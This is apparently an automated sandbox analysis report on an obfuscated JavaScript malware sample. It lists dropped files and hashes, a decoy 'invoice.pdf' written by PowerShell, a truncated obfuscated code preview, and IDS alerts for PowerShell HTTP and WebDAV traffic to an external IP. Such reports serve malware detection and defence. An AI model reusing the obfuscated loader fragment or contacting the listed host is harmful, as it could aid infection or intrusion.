SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl2lBw:Qw946cPbiOxDlbYnuRK+bNw
MD5:	E7113F15A23F518BFBF064FD0B6F73BC
SHA1:	6A31C50AE98800777BA4DD3D611973CDAB3613A6
SHA-256:	C9E919B36F4D85518F353770AE939BB7F69C58362854035BDEEE1F2702662B2F
SHA-512:	21750452B63DBF1D36BF1DE0A57454910DE1E9EBA2945ABFE305A3E9BFC31D10AD1A1A30D3A2D718FC26161A0828FFC81B3B7AE7DD6117A99D769E0B925818FC
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.2.8.:.1.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nis0cprx.3y3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s0gctb5n.v2h.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91ywzg8a_1rn40kz_5no.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-28-14-574.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3647204566438145
Encrypted:	false
SSDEEP:	384:K7nufDKaKmdVymVivdrVnBvwZheVKDqOBQHBVXrnBgkfFP8dsET99u5uDyhTQnG7:Zi9n
MD5:	A3D29A265EB412D827EC0F205110B20D
SHA1:	407CD8350F2BF514B88C28941AC1D2F79344FBEF
SHA-256:	1EA57FE5C2B2B216BFAD8DA6080DD5EA920DBD8AF9979BFAA3C0E7FB47D247CE
SHA-512:	4FFC978453CCA3E8CEF2A723A9731E028FF9C0EBA712C0D10C68B9D267C1C298820CBA0EA37927BA4634211185884F81F6B021C51648D78D4BB6F048815C212C
Malicious:	false
Preview:	SessionID=5f298ae4-6327-4176-9446-cc95453a9633.1736515694596 Timestamp=2025-01-10T08:28:14:596-0500 ThreadID=8188 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5f298ae4-6327-4176-9446-cc95453a9633.1736515694596 Timestamp=2025-01-10T08:28:14:597-0500 ThreadID=8188 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5f298ae4-6327-4176-9446-cc95453a9633.1736515694596 Timestamp=2025-01-10T08:28:14:597-0500 ThreadID=8188 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5f298ae4-6327-4176-9446-cc95453a9633.1736515694596 Timestamp=2025-01-10T08:28:14:597-0500 ThreadID=8188 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5f298ae4-6327-4176-9446-cc95453a9633.1736515694596 Timestamp=2025-01-10T08:28:14:597-0500 ThreadID=8188 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.408519064203119
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gREo:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRx
MD5:	6225B8EE422DDAEA398CAF1E1CDD3014
SHA1:	9B47C27167C7894893E8CC9DC81CDBC2B8AB9DB0
SHA-256:	55DEF1C8AFE6272C9A7ED778B91F37552C2E05BCE942E05C6EB212D73BE67C65
SHA-512:	E8D1439537F7EC6D0C65E5F843AB9338E9757939B16E9AAE52729C3EF0FBA93255AAF58DE302A973AB5DB8246ABABF83C4DF22E8702BC9D37FFBEF937528BFF4
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3479a48f-5af6-463c-ac75-5d9ff71bb510.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\6b3b64fe-0afb-4979-a33f-cdb08a0dca09.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\df2f6dca-9705-4656-b45a-4afa815dc00d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fdca9af9-452e-4d3b-bdd1-6ebb56a2f572.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17341), with CRLF line terminators
Entropy (8bit):	4.9045337339390835
TrID:
File name:	1947415746274847548.js
File size:	20'773 bytes
MD5:	9a75c542402524141e6e0f7b7ac4d508
SHA1:	32a207bf1f019885254600ba2c4fba94bb975738
SHA256:	aa008a16470876b76e2ed0e5554260b738a60c927060f152a9b64441851d22e0
SHA512:	e48e880ba5529b84a862b0beecb56e76fdb8116a4bf0b3c511743082bf5a5c6ae44d38b7ba163a6ab417c7350dcfe58bd58d3abedf68d05c24922400297aa0e4
SSDEEP:	384:Uj3j5e1jfqh4/zKzPfVbP7xsIb8+cZKWTpXxjDIUagZXTsW0I9Wgvfp5Iq4Un2af:Ijc0NP7xy+qKWTpXxjDIUagZXTsW0I9b
TLSH:	22927408CE89CBFBDAF545F054C78DB898A8439CC4D142C978959858B392AE2B7F7133
File Content Preview:	function feutcsoep(){mjknfkqnb=[1031,3079,5127,4103,2055,3072];var hxbskhnzd=this[dadzdsghp+qcnuiik+uuwsp+tiyaydx+uhrtyrz+gahsmnd+yowqpo+nolfurb](this[spepydc+rkwfxc+ycdvcz+uuwsp+hcazyi+dadzdsghp+nolfurb][nmnyggdzf+uuwsp+uhrtyrz+qcnuiik+nolfurb+uhrtyrz+ix

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T14:28:10.922983+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49704	193.143.1.205	80	TCP
2025-01-10T14:28:13.188609+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:28:10.136006117 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:10.140953064 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.141145945 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:10.144882917 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:10.149733067 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.922893047 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.922931910 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.922950029 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.922960043 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.922982931 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:10.923000097 CET	80	49704	193.143.1.205	192.168.2.7
